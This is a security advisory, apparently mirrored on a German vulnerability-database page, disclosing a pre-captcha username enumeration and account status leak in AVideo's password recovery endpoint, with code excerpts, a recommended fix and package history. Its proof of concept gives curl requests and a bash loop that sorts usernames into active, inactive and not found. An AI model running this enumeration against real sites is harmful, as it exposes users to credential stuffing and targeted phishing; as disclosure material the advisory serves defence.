AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
- Line 11 — A
Userobject is instantiated from unsanitized$_REQUEST['user']with no authentication:
$user = new User(0, $_REQUEST['user'], false);
- Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
- Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
- Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
- Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
- Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
- Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
- No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the user existence checks, and return a generic message regardless of user status:
// In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
die(json_encode($obj));
}
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if (!$valid) {
$obj->error = __("Your code is not valid");
$obj->reloadCaptcha = true;
die(json_encode($obj));
}
// After captcha passes, check user — but use generic message
if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
// Generic message — do not reveal whether user exists or is active
$obj->success = __("If this account exists, a recovery email has been sent");
die(json_encode($obj));
}
// Proceed with actual password recovery...
$recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | wwbn/avideo | <= 26.0 | keine Korrektur |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Schwäche (CWE)
CWE-204- Plattform
- Composer
- Paket
wwbn/avideo- Veröffentlicht
- 25.03.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-m99f-mmvg-3xmx - CC BY 4.0
Schwachstellenhistorie: wwbn/avideo
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 160
- Erste → letzte
- 04.2022 06.2026
- Ohne Fix
- 143
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 14
- Hoch 61
- Mittel 83
- Niedrig 2
Veröffentlichungen pro Jahr
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
-
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.